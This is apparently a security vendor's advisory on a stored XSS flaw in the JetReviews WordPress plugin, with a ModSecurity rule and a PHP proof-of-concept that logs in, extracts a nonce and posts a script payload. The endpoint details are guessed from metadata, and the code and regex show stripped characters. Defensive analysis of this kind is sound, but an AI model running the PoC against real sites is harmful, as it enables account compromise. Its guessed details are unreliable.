Atomic Edge analysis of CVE-2026-57354 (metadata-based): This vulnerability is a Stored Cross-Site Scripting (XSS) in the JetReviews plugin for WordPress, affecting versions up to and including 3.0.0.1. The flaw allows authenticated attackers with subscriber-level access or higher to inject arbitrary web scripts. These scripts execute whenever a user accesses pages containing the injected payload. The CVSS score is 6.4 (Medium), with a vector emphasizing network-based attacks, low complexity, required authentication, and a scope change indicating potential impact on other users.
Root Cause: Atomic Edge research infers from the CWE-79 classification and the description that the plugin fails to properly sanitize user-supplied input and escape output during page generation. The most likely vulnerable component is one of the plugin’s AJAX handlers or REST API endpoints that accept review content, such as comments, ratings, or titles. Without code access, we cannot confirm the exact input field, but typical patterns include the `$wpdb->insert` or `wp_insert_comment` functions without adequate sanitization or escaping. The plugin likely stores unfiltered HTML or JavaScript in the database, then outputs it directly in review display templates without using `esc_*` or `wp_kses*` functions.
Exploitation: An attacker with subscriber-level access can exploit this by sending a malicious request to the WordPress AJAX endpoint. The plausible action is `jet-reviews/add-review` or a similar handler. The attacker submits a review containing JavaScript payloads such as `alert(‘XSS’)` or `
`. Because the plugin does not sanitize the input or escape the output, this script will be stored in the database and executed in the browser of any user viewing the review. The attack requires no special privileges beyond a valid subscriber account and nonce validation, which attackers can extract from the page source.
Remediation: The vendor should implement two changes in version 3.0.0.2. First, sanitize all review inputs using WordPress functions like `sanitize_text_field`, `sanitize_textarea_field`, or `wp_kses_post` to strip dangerous HTML tags. Second, escape all outputs using `esc_html`, `esc_textarea`, or `wp_kses` when displaying review content in templates. For fields that must allow limited HTML, use a robust allowlist approach with `wp_kses_allowed_html`. Developers should also review any custom AJAX endpoints or REST routes for proper capability checks and nonce verification.
Impact: Successful exploitation allows attackers to inject and execute arbitrary JavaScript in the context of any user visiting the affected page. This can lead to session hijacking, credential theft via cookie exfiltration, phishing attacks, redirecting users to malicious sites, or defacement. Because the XSS is stored and persistent, it impacts all future visitors, including administrators, amplifying the potential damage.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-57354 (metadata-based)
# Blocks XSS attempts via JetReviews AJAX review submission.
# Rule chains: match admin-ajax.php, action parameter, and XSS patterns in review_content.
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php"
"id:20261954,phase:2,deny,status:403,chain,msg:'CVE-2026-57354 - JetReviews Stored XSS via AJAX',severity:'CRITICAL',tag:'CVE-2026-57354'"
SecRule ARGS_POST:action "@streq jet-reviews/add-review"
"chain"
SecRule ARGS_POST:review_content "@rx <script[^>]*>.*?</script>|<[^>]+onw+s*=|javascript:s*"
"t:lowercase,t:urlDecodeUni"
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-57354 - JetReviews <= 3.0.0.1 - Authenticated (Subscriber+) Stored Cross-Site Scripting
/**
* This PoC demonstrates exploitation of the Stored XSS vulnerability.
* Assumptions:
* 1. The plugin registers an AJAX action 'jet-reviews/add-review' for submitting reviews.
* 2. A valid subscriber account is needed.
* 3. The vulnerable parameter is 'review_content' (inferred from typical review plugins).
*
* Usage: php poc.php <target_url> <username> <password>
* Example: php poc.php https://example.com subscriber password123
*/
if ($argc < 4) {
die("Usage: php poc.php <target_url> <username> <password>n");
}
$target_url = rtrim($argv[1], '/');
$username = $argv[2];
$password = $argv[3];
// Step 1: Login to WordPress
$login_url = $target_url . '/wp-login.php';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, [
'log' => $username,
'pwd' => $password,
'rememberme' => 'forever',
'wp-submit' => 'Log In',
'redirect_to' => '',
'testcookie' => '1'
]);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
curl_exec($ch);
curl_close($ch);
echo "[+] Logged in as $usernamen";
// Step 2: Fetch the dashboard to obtain the nonce for review submission
$dashboard_url = $target_url . '/wp-admin/admin-ajax.php?action=jet-reviews-get-nonce';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $dashboard_url);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
curl_close($ch);
$nonce = '';
if (preg_match('/"nonce":"([^"]+)"/', $response, $m)) {
$nonce = $m[1];
}
if (empty($nonce)) {
die("[-] Could not extract nonce. Check if the path is correct.n");
}
echo "[+] Nonce obtained: $noncen";
// Step 3: Submit malicious review with stored XSS payload
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
$payload = '<script>alert('XSS by CVE-2026-57354');</script>';
$post_data = [
'action' => 'jet-reviews/add-review',
'nonce' => $nonce,
'post_id' => 1, // Target a post ID (assumed to be the first or a public post)
'review_content' => $payload,
'review_rating' => 5
];
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if ($http_code == 200) {
echo "[+] Malicious review submitted successfully.n";
echo "[+] Payload: $payloadn";
echo "[+] To trigger, visit the post: $target_url/?p=1n";
} else {
echo "[-] Failed to submit review. HTTP code: $http_coden";
echo "[!] Verify AJAX action name or nonce handling.n";
}
// Clean up
echo "[+] Done.n";
